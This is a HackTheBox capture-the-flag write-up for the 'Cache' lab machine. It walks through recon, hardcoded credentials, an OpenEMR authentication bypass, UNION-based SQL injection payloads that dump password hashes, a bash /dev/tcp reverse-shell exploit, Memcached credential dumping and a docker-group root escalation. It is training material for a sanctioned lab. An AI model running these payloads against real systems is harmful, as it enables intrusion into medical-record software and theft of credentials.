Posts HackTheBox — Cache Writeup
Post
Cancel

HackTheBox — Cache Writeup

Cache was a fun box, Initial web enumeration leads us to hardcoded credentials stored inside simple login page which uses client side validation, then discover a new VHost running a vulnerable instance of OpenEMR application. Exploitation chain of this application involves bypassing authentication allowing us to access a page vulnerable to SQL injection, We’ll perform SQL injection attack manually to dump hashes from the database. Next, We’ll use an OpenEMR Authenticated Remote Code Execution exploit to drop us a shell on the box, then pivot to another user using the credentials obtained from hardcoded website. Later we’ll access a Memcached service holding credentials of another user, dump them and escalate to next user. Leveraging the docker membership of the user we’ll elevate privileges to root.

Reconnaissance

Beginning with masscan to find out open tcp and udp ports and piping it to tee to store the output in a file :

1
2
3
4
5
6
7
8
9
cfx:  ~/Documents/htb/cache
→ masscan -e tun0 -p1-65535,U:1-65535 10.10.10.188 --rate 500 | tee masscan.ports

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-10-13 10:25:16 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.188
Discovered open port 22/tcp on 10.10.10.188

Using awk and sed to filter out port numbers from output:

1
2
3
4
5
6
7
8
cfx:  ~/Documents/htb/cache
→ cat masscan.ports | grep tcp
Discovered open port 80/tcp on 10.10.10.188
Discovered open port 22/tcp on 10.10.10.188

cfx:  ~/Documents/htb/cache
→ cat masscan.ports | grep tcp | sed 's/Discovered open port //' | awk -F/ '{print $1}' ORS=','
80,22,

Ports 22, 80 were discovered from masscan, running nmap scan to discover services running on these ports :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cfx:  ~/Documents/htb/cache
→ nmap -sC -sV -p80,22 10.10.10.188
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-13 16:19 IST
Nmap scan report for 10.10.10.188
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.93 seconds

Apart from Apache version and webpage title we don’t find anything interesting from nmap scan.

Port 80 - HTTP

Cache.htb

On visiting http://10.10.10.188 we see a very old school static website displaying information on Hacking and Hackers :

website

Before going forward with our enumeration we’ll fuzz out directories using ffuf and include .html & .txt extension :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cfx:  ~/Documents/htb/cache
→ ffuf -r -c -u http://10.10.10.188/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt -e .txt,.html -fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.188/FUZZ
 :: Extensions       : .txt .html
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

login.html              [Status: 200, Size: 2421, Words: 389, Lines: 106]
news.html               [Status: 200, Size: 7231, Words: 948, Lines: 100]
author.html             [Status: 200, Size: 1522, Words: 180, Lines: 68]
index.html              [Status: 200, Size: 8193, Words: 902, Lines: 339]
jquery                  [Status: 200, Size: 954, Words: 65, Lines: 17]
contactus.html          [Status: 200, Size: 2539, Words: 283, Lines: 148]
net.html                [Status: 200, Size: 290, Words: 23, Lines: 19]
:: Progress: [60348/60348] :: Job [1/1] :: 180 req/sec :: Duration: [0:05:35] :: Errors: 0 ::

login.html

Visiting http://10.10.10.188/login.html exposes a login form:

login

I tried admin:admin creds which failed and we get two errors popped up:

error1

error2

This odd behaviour of login form first displaying Password didn’t Match and later Username didn’t Match made me wonder how is it verifying credentials, So I checked the source of the page where I saw three JavaScript’s out of which two are web sourced but the script showcasing functionality.js is hosted on the box inside jquery directory, also jquery directory visible in ffuf output.

js

functionality.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$(function(){

    var error_correctPassword = false;
    var error_username = false;

    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
        }
    }
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;
        }
    }
    $("#loginform").submit(function(event) {
        /* Act on the event */
        error_correctPassword = false;
         checkCorrectPassword();
         error_username = false;
         checkCorrectUsername();


        if(error_correctPassword == false && error_username ==false){
            return true;
        }
        else{
            return false;
        }
    });

});

This client side JavaScript uses hardcoded credentials ash:H@v3_fun for authentication.

Successful logging in leads us to the following page where we see a picture of ACE, a character from One piece anime :

website1

Apparently, we are not getting anything useful out of these credentials so we’ll just keep them handy for later and move forward.

author.html

Heading on to http://10.10.10.188/author.html we have the following page displaying some information about ash :

author

Interestingly, last line reveals there is another project similar to cache named HMS (Hospital Management System).

VHOST Enumeration

First thought comes in mind to enumerate subdomains trying hms.cache.htb but unfortunately it didn’t work. So I decided to fuzz domains thinking maybe $VHOST.htb is used instead of $VHOST.cache.htb :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
cfx:  ~/Documents/htb/cache
→ ffuf -r -c -u http://10.10.10.188 -H 'Host:FUZZ.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fl 339

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.188
 :: Header           : Host: FUZZ.htb
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response lines: 339
________________________________________________

hms                     [Status: 200, Size: 6061, Words: 1620, Lines: 118]
:: Progress: [19983/19983] :: Job [1/1] :: 180 req/sec :: Duration: [0:01:51] :: Errors: 0 ::

Bingo ! It worked, So I added hms.htb inside /etc/hosts file.

HMS Website

On accessing http://hms.htb we get redirected to http://hms.htb/interface/login/login.php?site=default a login page running OpenEMR.

OpenEMR is a medical practice management software which also supports Electronic Medical Records.

hms

I tried ash creds discovered earlier but it didn’t work.

Fuzzing the website

To fuzz the website I included .php extension since the redirected site had login.php :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
cfx:  ~/Documents/htb/cache
→ ffuf -r -c -u http://hms.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt -e .txt,.php -fc 403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : http://hms.htb/FUZZ
 :: Extensions       : .txt .php
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response status: 403
________________________________________________

sites                   [Status: 200, Size: 930, Words: 64, Lines: 17]
config                  [Status: 200, Size: 1144, Words: 77, Lines: 18]
common                  [Status: 200, Size: 1720, Words: 112, Lines: 21]
admin.php               [Status: 200, Size: 937, Words: 69, Lines: 36]
modules                 [Status: 200, Size: 956, Words: 64, Lines: 17]
templates               [Status: 200, Size: 3404, Words: 208, Lines: 29]
images                  [Status: 200, Size: 8498, Words: 435, Lines: 54]
public                  [Status: 200, Size: 1316, Words: 88, Lines: 19]
library                 [Status: 200, Size: 24528, Words: 1444, Lines: 129]
services                [Status: 200, Size: 2285, Words: 137, Lines: 23]
index.php               [Status: 200, Size: 6061, Words: 1620, Lines: 118]
contrib                 [Status: 200, Size: 2688, Words: 172, Lines: 26]
portal                  [Status: 200, Size: 9097, Words: 2866, Lines: 207]
sql                     [Status: 200, Size: 9642, Words: 538, Lines: 55]
setup.php               [Status: 200, Size: 1214, Words: 167, Lines: 16]
custom                  [Status: 200, Size: 5090, Words: 288, Lines: 36]
tests                   [Status: 200, Size: 1516, Words: 98, Lines: 20]
Documentation           [Status: 200, Size: 4204, Words: 233, Lines: 31]
controllers             [Status: 200, Size: 3265, Words: 186, Lines: 27]
interface               [Status: 200, Size: 37, Words: 7, Lines: 1]
vendor                  [Status: 200, Size: 7249, Words: 449, Lines: 49]
controller.php          [Status: 200, Size: 37, Words: 7, Lines: 1]
ci                      [Status: 200, Size: 1531, Words: 98, Lines: 20]
version.php             [Status: 200, Size: 0, Words: 1, Lines: 1]
LICENSE                 [Status: 200, Size: 35147, Words: 5836, Lines: 675]
cloud                   [Status: 200, Size: 930, Words: 61, Lines: 17]
patients                [Status: 200, Size: 28, Words: 5, Lines: 1]
repositories            [Status: 200, Size: 1887, Words: 112, Lines: 21]
myportal                [Status: 200, Size: 28, Words: 4, Lines: 1]
entities                [Status: 200, Size: 1779, Words: 113, Lines: 21]
:: Progress: [60348/60348] :: Job [1/1] :: 180 req/sec :: Duration: [0:05:34] :: Errors: 0 ::

Looking at the output there are multiple exposed directories but first I went to admin.php located on http://hms.htb/admin.php which returns Version of OpenEMR as 5.0.1(3), DB name as openemr and Site ID.

admin

OpenEMR Vulnerabilities

A quick google search brings us to this Vulnerabity report by Project Insecurity for OpenEMR 5.0.1.3 (same as ours) explaining many different types of vulnerabilities.

Information Disclosure

As per section 4 of the vulnerability report the instance has three different Unauthenticated Information Disclosure one of the them is admin.php which we found earlier during our fuzzing, another file which is leaking info is located at http://hms.htb/sql_patch.php, looking at both the file we can confirm the following details:

sqlpatch

  • Version: 5.0.1(3)
  • DB name: openemr

SQL Injection - OpenEMR

Going through the report we understand the software has its fair share of SQL injection vulnerabilities.

To perform SQL injection we’ll make use of following sections from the report :

sec2

sec3.2

Key Points

  • In Section 2, it is highlighted that for some pages inside portal directory are accessible after browsing to the registration page, first one is add_edit_event_user.php

  • Authentication can be bypassed by visiting registration page is located at http://hms.htb/portal/account/register.php/

  • Inside Section 3.2, we see add_edit_event_user.php is vulnerable to SQL injection

  • SQLi vulnerable page located at http://hms.htb/portal/add_edit_event_user.php

Authentication Bypass

On visiting http://hms.htb/portal/add_edit_event_user.php we are redirected to Patient portal login page with an error message :

portal

As mentioned in Section 2 of the report, we can bypass this authentication by visiting http://hms.htb/portal/account/register.php/

register

Again visiting add_edit_event_user.php the page returns successfully, confirming we have bypassed the authentication :

bypass

Confirming SQLi

Now that we have bypassed the authentication we can look at the PoC of SQL injection for add_edit_event_user.php

Proof of Concept: http://host/openemr/portal/add_edit_event_user.php?eid=​1 ANDEXTRACTVALUE(0,CONCAT(0x5c,VERSION()))

On visiting http://hms.htb/portal/add_edit_event_user.php?eid=1%20AND%20EXTRACTVALUE(0,CONCAT(0x5c,VERSION())) we see the following Query error returned:

query

The query which we sent as per PoC errors but we can see the result of VERSION() as 5.7.30-0ubuntu0.18.04.1 in the message which confirms it’s an error based SQLi.

Manual SQLi

It’s easier to perform this SQLi using sqlmap by changing the query to eid=1 inside burp and capture the request along with cookies required for authentication and send it to sqlmap for auto exploitation but instead we’ll perform it manually to understand it better.

Important Note: While performing SQLi if the session timeouts, we need to reload register.php page, intercept the request and replace the older cookies with new one.

Step 1: Testing SQLi

We’ll begin by first testing the SQLi by sending eid=1 and see the response :

burp

Looking at the response, we are getting some kind of SQL syntax error, confirming we have some kind of SQL injection

Step 2: Finding fields

Now, let’s make use of ORDER BY SQL query to find out how many fields are inside this sql query:

We’ll send order by command and increment the value by 1 until we see an change in the result

1
2
3
4
/portal/add_edit_event_user.php?eid=1 order by 1
/portal/add_edit_event_user.php?eid=1 order by 2
/portal/add_edit_event_user.php?eid=1 order by 3
/portal/add_edit_event_user.php?eid=1 order by 4

Till eid=1 order by 4 we don’t see any change in the result but on sending eid=1 order by 5 a new error is returned as Unknown column '5' in 'order clause' :

order

This indicates we have 4 fields inside the SQL Query, which we’ll use to draft our next query.

Step 3: SQL Injection Enumeration

We’ll use UNION SELECT to combine our select statement results and find out version of the box by sending VERSION() inside our query, add null parameter for all four fields. I tried injecting version() inside all four but only third field returned the query result :

select

Next, let’s enumerate Database name

1
/portal/add_edit_event_user.php?eid=1 UNION SELECT null,null,database(),null HTTP/1.1

We can see our query resulted with database name as openemr

database

Next, let’s get the user which is running the queries on this SQL server.

1
/portal/add_edit_event_user.php?eid=1 UNION SELECT null,null,user(),null

user

The user is openemr@localhost

Great! Now that our statement is working we can hop on to the next level to enumerate

Step 4: Enumerating Tables

Since, we already know we are running inside openemr database, Let’s try to get the list of tables under this database:

To understand Information scheme tables in details we can refer this page

TABLE_SCHEMA: The name of the schema (database) to which the table belongs.

1
/portal/add_edit_event_user.php?eid=1 UNION SELECT null,null,CONCAT(table_name),null FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='openemr'

table

Looking at the result we see only one table entry, let reform our query by adding group_concat to the statement

1
/portal/add_edit_event_user.php?eid=1 UNION SELECT null,null,GROUP_CONCAT(table_name),null FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='openemr'

table2

We got the list of tables inside openemr database, but the result looks incomplete probably there is some kind of limit on how many field can be shown.

Let’s again refine our query to look for something interesting like users table

1
/portal/add_edit_event_user.php?eid=1 UNION SELECT null,null,GROUP_CONCAT(table_name),null FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='openemr' AND TABLE_NAME like 'user%'

table3

Bingo! Two interesting tables are users & users_secure

Extracting Credentials

Step 5: Enumerating users & users_secure table

First, we’ll enumerate users table by finding out columns inside it :

1
/portal/add_edit_event_user.php?eid=1 UNION SELECT null,null,group_concat(column_name),null FROM INFORMATION_SCHEMA.columns WHERE TABLE_SCHEMA='openemr' AND TABLE_NAME='users'

usertable

We have username and password columns which are useful to us, let’s take a look at them :

Since we already know we are under openemr database, we don’t need to mention it again, If in case there were multiple databases running on this server we would have specified database name by openemr.users

We will be using concatenating three field where 0x3A is a colon (:) in hex so our output will be in the form username:password

1
/portal/add_edit_event_user.php?eid=1 union select null,null,group_concat(username,0x3a,password),NULL from users

usertable1

Doesn’t look like we have any password, let’s try the similar query for users_secure table:

1
/portal/add_edit_event_user.php?eid=1 union select null,null,group_concat(username,0x3a,password),NULL from users_secure

usersecure

Great! We have a username and its hash openemr_admin:$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B., let’s crack it using john.

Cracking hashes

Before cracking the hash let’s check it’s format using hashid

1
2
3
4
5
6
cfx:  ~/Documents/htb/cache
→ hashid -j '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.'
Analyzing '$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.'
[+] Blowfish(OpenBSD) [JtR Format: bcrypt]
[+] Woltlab Burning Board 4.x
[+] bcrypt [JtR Format: bcrypt]

Hash Format for John is bcrypt

1
2
3
cfx:  ~/Documents/htb/cache
→ cat openemr_admin.hash
openemr_admin:$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cfx:  ~/Documents/htb/cache
→ john --format=bcrypt -w=/usr/share/wordlists/rockyou.txt openemr_admin.hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx           (?)
1g 0:00:00:00 DONE 2/3 (2020-10-14 16:40) 1.666g/s 1920p/s 1920c/s 1920C/s water..88888888
Use the "--show" option to display all of the cracked passwords reliably
Session completed

cfx:  ~/Documents/htb/cache
→ john --show openemr_admin.hash
openemr_admin:xxxxxx

1 password hash cracked, 0 left

So we have credentials for OpenEMR as openemr_admin:xxxxxx

OpenEMR - RCE

With searchsploit I was able to see an Authenticated RCE exploit for our version:

1
2
3
4
5
6
7
8
9
cfx:  ~/Documents/htb/cache
→ searchsploit openemr 5.0.1
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
[..SNIP..]

OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution                                                                                                     | php/webapps/45161.py
------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------

Shell as www-data

Going through exploit, we understand it expects username, password and the command to be executed as inputs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cfx:  ~/Documents/htb/cache
→ python2 45161.py http://hms.htb -u openemr_admin -p xxxxxx -c 'bash -i >&/dev/tcp/10.10.14.10/8020 0>&1'
 .---.  ,---.  ,---.  .-. .-.,---.          ,---.
/ .-. ) | .-.\ | .-'  |  \| || .-'  |\    /|| .-.\
| | |(_)| |-' )| `-.  |   | || `-.  |(\  / || `-'/
| | | | | |--' | .-'  | |\  || .-'  (_)\/  ||   (
\ `-' / | |    |  `--.| | |)||  `--.| \  / || |\ \
 )---'  /(     /( __.'/(  (_)/( __.'| |\/| ||_| \)\
(_)    (__)   (__)   (__)   (__)    '-'  '-'    (__)

   ={   P R O J E C T    I N S E C U R I T Y   }=

         Twitter : @Insecurity
         Site    : insecurity.sh

[$] Authenticating with openemr_admin:xxxxxx
[$] Injecting payload

Getting a call back on pwncat listener:

1
2
3
4
5
6
7
8
9
10
11
12
cfx:  ~/Documents/htb/cache
→ pwncat -l 8020 -vv
INFO: Listening on :::8020 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:8020 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.10.188:46344 (family 2/IPv4, TCP)
bash: cannot set terminal process group (1653): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/var/www/hms.htb/public_html/interface/main$ whoami
whoami
www-data
www-data@cache:/var/www/hms.htb/public_html/interface/main$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"

Elevating Priv: www-data -> ash

user.txt is located inside folder user ash:

1
2
www-data@cache:/home/ash$ cat user.txt
cat: user.txt: Permission denied

Initially we discovered hardcoded credentials for user ash during HTTP enumeration, we can su to ash using ash:H@v3_fun and grab the user flag:

1
2
3
4
www-data@cache:/home$ su ash
Password:
ash@cache:~$ cat user.txt
fa1d99dc286be40*****************

Elevating Priv: ash -> luffy

Enumeration

While checking /etc/passwd to find out users present on the box I could see along with ash and luffy there’s also a memcache user:

1
2
3
4
5
6
ash@cache:~$ cat /etc/passwd
cat /etc/passwd
[..SNIP..]
ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash
memcache:x:111:114:Memcached,,,:/nonexistent:/bin/false

On further checking we can confirm memcache is running on the box and traditionally 11211 is the default port for it.

1
2
3
4
5
6
7
8
9
ash@cache:~$ ss -tnlp
ss -tnlp
State    Recv-Q    Send-Q        Local Address:Port        Peer Address:Port
LISTEN   0         128           127.0.0.53%lo:53               0.0.0.0:*
LISTEN   0         128                 0.0.0.0:22               0.0.0.0:*
LISTEN   0         80                127.0.0.1:3306             0.0.0.0:*
LISTEN   0         128               127.0.0.1:11211            0.0.0.0:*
LISTEN   0         128                       *:80                     *:*
LISTEN   0         128                    [::]:22                  [::]:*

Memcached Service

Memcached is a general-purpose distributed memory-caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source must be read.

Using this article we can dump data from Memcached service.

First, we’ll connect to service using telnet and start by checking the version of Memcached server:

1
2
3
4
5
6
7
8
9
ash@cache:~$ telnet localhost 11211
telnet localhost 11211
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
version
version
VERSION 1.5.6 Ubuntu

Next, we’ll use stat slabs which will provide us info if there are any active slabs, in this case we have 1:

A slab allocation is used to optimize memory usage and prevent memory fragmentation when information expires from the cache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 0
STAT 1:cmd_set 8355
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END

Next, we’ll use stat cachedump 1 0 to dump keys, where 1 is the slab number and 0 denotes to dump all keys.

1
2
3
4
5
6
7
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

Then, using get command followed by key name to get the data inside key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
get link
VALUE link 0 21
https://hackthebox.eu
END

get user
VALUE user 0 5
luffy
END

get passwd
VALUE passwd 0 9
0n3_p1ec3
END

get file
VALUE file 0 7
nothing
END

get account
VALUE account 0 9
afhj556uo
END

Got credentials of user luffy as luffy:0n3_p1ec3

SSH as luffy

We can SSH to the server using luffy’s credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cfx:  ~/Documents/htb/cache
→ ssh luffy@10.10.10.188
The authenticity of host '10.10.10.188 (10.10.10.188)' can't be established.
ECDSA key fingerprint is SHA256:/qQ34g2zzGVlmbMIKeD7JhlhDf/SPzgYFz000v+3KBI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.188' (ECDSA) to the list of known hosts.
luffy@10.10.10.188's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-109-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Oct 14 14:05:47 UTC 2020

  System load:  0.14              Processes:              185
  Usage of /:   75.3% of 8.06GB   Users logged in:        0
  Memory usage: 22%               IP address for ens160:  10.10.10.188
  Swap usage:   0%                IP address for docker0: 172.17.0.1


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

110 packages can be updated.
0 updates are security updates.


Last login: Wed May  6 08:54:44 2020 from 10.10.14.3
luffy@cache:~$ whoami
luffy

Elevating Priv: luffy -> root

User luffy is a member of docker group:

1
2
luffy@cache:~$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)

There’s already an ubuntu image on the box, so we can leverage it to escalate to root referring gtfo:

1
2
3
luffy@cache:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        13 months ago       64.2MB

Docker privesc

We’ll launch the image as a container and mount the root file system into it which will drop us a shell:

1
2
3
luffy@cache:~$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root)

Grabbing root.txt

1
2
3
# cat /root/root.txt
c4b77e278753a0******************

And we pwned the Box !

Thanks for reading, Suggestions & Feedback are appreciated !

This post is licensed under CC BY 4.0 by the author.